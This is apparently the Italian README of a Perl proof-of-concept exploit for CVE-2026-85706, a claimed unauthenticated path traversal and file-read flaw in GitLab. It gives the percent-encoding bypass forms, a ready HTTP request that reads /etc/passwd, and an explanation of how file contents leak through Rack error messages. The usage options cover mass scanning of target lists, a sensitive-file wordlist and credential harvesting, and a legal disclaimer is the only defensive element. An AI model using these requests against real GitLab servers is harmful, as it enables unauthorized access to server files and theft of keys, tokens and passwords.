PoC in Perl che sfrutta CVE-2026-85706, un path traversal non autenticato in GitLab che consente la lettura arbitraria di file, con scansione di massa e raccolta di credenziali.
Solo per penetration testing autorizzato e operazioni Red Team.
L'uso non autorizzato costituisce reato. Vedi Note legali.
CVE-2026-85706 è una vulnerabilità di path traversal con CVSS 10.0 nelle edizioni Community ed Enterprise di GitLab che consente a un attaccante completamente non autenticato di leggere file arbitrari dal filesystem del server con una singola richiesta HTTP. Nessuna credenziale, nessun token, nessuna interazione dell'utente richiesta.
| Branch | Intervallo vulnerabile | Corretta in |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
Lo stack HTTP di GitLab è composto da tre livelli:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse funge da reverse proxy intelligente: per determinati endpoint di "upload" (commit su repository, operazioni sui file), legge i corpi delle richieste multipart, salva i dati dei file su disco e riscrive la richiesta prima di inoltrarla a Puma. Fondamentalmente, allega un header JWT (Gitlab-Workhorse-Api-Request) a ogni richiesta che proxa. Rails poi convalida questo JWT (tramite require_gitlab_workhorse!) prima di eseguire qualsiasi logica dell'handler.
Livello 1 — Corrispondenza delle route di Workhorse:
Workhorse confronta i percorsi delle richieste usando una regex compilata che opera sulla stringa di byte grezza, codificata in percentuale. NON decodifica le sequenze %XX prima della corrispondenza.
Livello 2 — Routing Puma/Rack:
Puma decodifica le sequenze %XX prima che Grape instradi la richiesta. Quindi una richiesta a /repository/%63ommits viene decodificata in /repository/commits e instradata a CommitsController.
Livello 3 — Lettura del file pre-autenticazione:
Una volta nell'handler Rails (raggiunto senza il JWT di Workhorse, poiché Workhorse non ha mai trovato corrispondenza per la richiesta), l'handler legge params[:file][:path] dalla query string e chiama:
File.open(params[:file][:path]) # ← happens BEFORE authentication
Codificando in percentuale un singolo carattere in un segmento di percorso statico, la richiesta dell'attaccante scivola oltre Workhorse senza essere rilevata:
| Segmento | Originale | Forma di bypass | Carattere codificato |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (qualsiasi) | commits | commits/ | slash finale |
| (qualsiasi) | commits | commits.json | suffisso Grape |
Dopo l'apertura del file, il contenuto viene esfiltrato tramite il parser della query-string di Rack:
Rack::Utils.parse_nested_query(File.read(path))
Se il file contiene un % non seguito da due cifre esadecimali valide (cosa comune nei file di configurazione Ruby, nei file YAML di CI, nei log, ecc.), Rack genera:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Questo corpo di 400 risposte contiene il contenuto grezzo del file fino al byte incriminato incluso — rivelando il contenuto del file al chiamante non autenticato.
I file privi di sequenze % sfruttabili (ad es. un /etc/passwd pulito) restituiscono un 401 o un errore di validazione dei parametri dopo la lettura: questo funge da oracolo di esistenza del file (la lettura è comunque avvenuta prima dell'autenticazione).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Tecnica | ID | Implementazione in questo PoC |
|---|---|---|
| File and Directory Discovery | T1083 | La modalità --scan sonda 38 percorsi sensibili del server |
| Credentials In Files | T1552.001 | --harvest estrae chiavi/token/password dal contenuto trapelato |
| Modulo | Pacchetto | Ruolo |
|---|---|---|
LWP::UserAgent | libwww-perl | Client HTTP (obbligatorio) |
LWP::Protocol::https | libwww-perl | Supporto HTTPS (obbligatorio) |
URI::Escape | liburi-perl | Codifica della query string (obbligatorio) |
Term::ANSIColor | libterm-ansicolor-perl | Output colorato (opzionale) |
JSON | libjson-perl | Modalità di output JSON (opzionale) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string